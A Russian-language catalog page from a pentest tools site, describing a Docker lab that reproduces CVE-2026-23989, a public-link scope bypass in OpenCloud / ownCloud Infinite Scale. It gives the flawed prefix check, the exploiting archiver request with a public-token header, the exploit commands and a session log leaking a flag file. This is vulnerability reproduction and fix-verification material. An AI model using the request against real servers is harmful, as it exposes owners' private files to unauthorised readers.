Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2026-23989-opencloud-lab — Лаборатория воспроизведения (A/B Docker) для CVE-2026-23989 — обход проверки области действия публичной ссылки в OpenCloud / ownCloud Infinite Scale в Reva | Kitploit
Инструменты/GitHubGitHub/dinosn/cve-2026-23989-opencloud-lab
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubdinosn/cve-2026-23989-opencloud-lab

cve-2026-23989-opencloud-lab

Лаборатория воспроизведения (A/B Docker) для CVE-2026-23989 — обход проверки области действия публичной ссылки в OpenCloud / ownCloud Infinite Scale в Reva

Репозиторий
1231 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-23989 — обход области действия публичной ссылки OpenCloud / ownCloud Infinite Scale

Автономная лаборатория из одной команды, которая воспроизводит CVE-2026-23989 и доказывает, что уязвимость исправлена, используя официальные образы Docker из апстрима. Публичная ссылка для общего доступа, которая должна предоставлять доступ к одной папке, может быть использована для чтения файлов за пределами области действия этой папки.

CVECVE-2026-23989
AdvisoryGHSA-vf5j-r2hw-2hrw («Public Link Exploit»)
CVSS 3.18.2 High — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
ClassНарушенный контроль доступа — путаница префиксов путей при проверке области действия
Root causeReva checkIfNestedResource использовал strings.HasPrefix для проверки вхождения пути
AffectedOpenCloud stable ≤ 4.0.2 (Reva ≤ v2.40.2), rolling ≤ 5.0.1 (Reva ≤ v2.42.1)
FixedOpenCloud 4.0.3 / 5.0.2 (Reva v2.40.3 / v2.42.3, PR opencloud-eu/reva#522)
Disclosed2026-02-05

Происхождение — почему это баг «ownCloud»

OpenCloud — это форк ownCloud Infinite Scale (OCIS) 2025 года, созданный бывшими инженерами ownCloud после того, как Kiteworks приобрела ownCloud. Уязвимость находится в Reva — бэкенде хранения CS3, общем для OCIS/OpenCloud, и, согласно уведомлению вендора, «возникла в кодовой базе ownCloud (Kiteworks) и была унаследована, когда OpenCloud форкнул OCIS». OpenCloud используется здесь, потому что он поставляет чистые, закреплённые, публичные уязвимые и исправленные образы, которые позволяют провести точное A/B-сравнение.


Суть бага в одной строке

internal/grpc/interceptors/auth/scope.go, функция checkIfNestedResource — межсетевой перехватчик, который решает, может ли токен публичной ссылки обращаться к ресурсу:

// уязвимый (Reva ≤ 2.40.2 / ≤ 2.42.1)
return strings.HasPrefix(childPath, parentPath), nil

parentPath — это путь общей папки (область действия ссылки); childPath — путь запрашиваемого ресурса. Проверка строкового префикса — это не проверка вхождения пути:

parentPath = "/Shared"
childPath  = "/Shared-secret/flag.txt"          (соседний ресурс, НЕ дочерний)
strings.HasPrefix("/Shared-secret/flag.txt", "/Shared") == true   ← неверно: доступ предоставлен

Таким образом, ссылка с областью действия /Shared также получает доступ к любому ресурсу в том же пространстве, путь которого начинается со строки /Shared — например, /Shared-secret, /Shared-2024, /Shared backup. Исправление заменяет проверку на filepath.Rel и отклоняет любой относительный путь, начинающийся с .. (полный патч в patch/reva-scope.go.patch).


Как эксплуатируется — сервис архиватора

Каждая операция шлюза, несущая токен публичной ссылки, проходит через уязвимую проверку области действия, но примитив первооткрывателей (и этой лаборатории) — это сервис архиватора по адресу GET /archiver, аутентифицированный для публичной ссылки с заголовком public-token:. Он принимает идентификатор ресурса (?id=<fileid>), обходит его и передаёт zip-архив. Направьте его на идентификатор префиксного соседа вне области действия, и уязвимая проверка пропустит его:

GET /archiver?id=<id-of-/Shared-secret>
public-token: <токен ссылки с областью действия /Shared>
→ 200, zip из /Shared-secret   (на 4.0.2)
→ 404 "gateway could not find space for ref=…"   (на 4.0.3)

Предварительное условие (честно заявленное)

Атакующий должен предоставить идентификатор ресурса цели вне области действия. Этот непрозрачный идентификатор — случайный UUID, и его нельзя перечислить через саму публичную ссылку (ссылка не может перечислить пространство владельца — она возвращает 401). Однако в OCIS oc:fileid ресурса раскрывается почти в каждом ответе WebDAV/graph, приглашении к общему доступу, уведомлении об активности и веб-URL (/f/<id>), поэтому любой бывший соавтор, бывший получатель другого общего доступа или внутренний пользователь обычно им владеет — именно поэтому вендор оценил сложность атаки как Low. setup.sh лаборатории получает идентификатор «как жертва», чтобы передать его шагу атакующего, моделируя эти реалистичные предварительные знания. Обход пути (?path=../…) не является жизнеспособной заменой: такие пути разрешаются относительно общего доступа и очищаются (404).

Радиус поражения

  • Достижимо: ресурсы в том же пространстве, чей путь строково-префиксен пути общего доступа (само общее поддерево плюс соседние ресурсы с совпадающим префиксом).
  • Недостижимо: всё пространство одним выстрелом — путь корня пространства — "/", и HasPrefix("/", "/Shared") возвращает false (лаборатория подтверждает это: архив корня пространства → 404). Соседние ресурсы без префикса, такие как /Private, также отклоняются на уязвимой сборке — лаборатория использует это как контроль, чтобы доказать, что эффект связан именно с багом префикса, а не с общим сбоем аутентификации.

Что в этой лаборатории

ФайлНазначение
docker-compose.ymlОдин контейнер OpenCloud; OC_TAG выбирает уязвимую (4.0.2) или исправленную (4.0.3) версию.
setup.shЗаполняет сценарий жертвы в пространстве демо-пользователя mary и создаёт публичную ссылку без пароля на /Shared. Записывает state.env.
exploit.shPoC атакующего. Получив токен ссылки + идентификатор целевого ресурса, вызывает архиватор и выводит любые извлечённые байты.
verify.shA/B-проверка одной командой: воспроизведение на 4.0.2, подтверждение исправления на 4.0.3, вывод матрицы PASS/FAIL.
patch/reva-scope.go.patchТочное исправление из апстрима в одну строку, с комментариями.

Сценарий, размещённый в личном пространстве mary:

/Shared/public-note.txt      ← доступно через публичную ссылку      (в области действия)
/Shared-secret/flag.txt      ← цель PoC; путь с префиксом "/Shared"  (вне области действия)
/Private/topsecret.txt       ← контроль; без префикса              (вне области действия, остаётся запрещённым)

Быстрый старт

Требования: Docker + Docker Compose, curl, python3. Загружает ~250 МБ образов.

./verify.sh

Ожидаемый вывод:

== Exploit + controls against VULNERABLE 4.0.2 ==
   [PASS] in-scope /Shared (legit access) (expected leak)
   [PASS] PoC: out-of-scope /Shared-secret (expected leak)
   [PASS] non-prefix /Private (must stay denied) (expected deny)

== Exploit + control against FIXED 4.0.3 ==
   [PASS] in-scope /Shared (still works) (expected leak)
   [PASS] PoC: out-of-scope /Shared-secret (fixed) (expected deny)

== Verdict ==
   5 passed, 0 failed
   CVE-2026-23989 reproduced on 4.0.2 and confirmed fixed on 4.0.3.

Пара rolling-релиза вместо stable:

VULN_TAG=5.0.1 FIXED_TAG=5.0.2 ./verify.sh

Ручное прохождение

# 1. поднять уязвимую сборку
OC_TAG=4.0.2 docker compose up -d

# 2. заполнить сценарий жертвы (создаёт публичную ссылку, записывает state.env)
./setup.sh

# 3. атака: утечка соседнего ресурса вне области действия (читает цель из state.env)
./exploit.sh                                   # по умолчанию идентификатор /Shared-secret
./exploit.sh --target-id "$(. ./state.env; echo "$PRIVATE_ID")"   # контроль: запрещено

Реальная запись сеанса против уязвимой сборки (значения state.env меняются при каждом запуске):

===== EXPLOIT  /Shared-secret  (out-of-scope prefix sibling) =====
[*] Public link token: UVWPXGsjlLJRYxK   (scope: a single shared folder)
[*] HTTP 200,      365 bytes
      Shared-secret/flag.txt:
        FLAG{CVE-2026-23989_out-of-scope-sibling-leaked-via-HasPrefix-bug}
[+] LEAK CONFIRMED — out-of-scope file bytes exfiltrated via the public link.
Скачать инструмент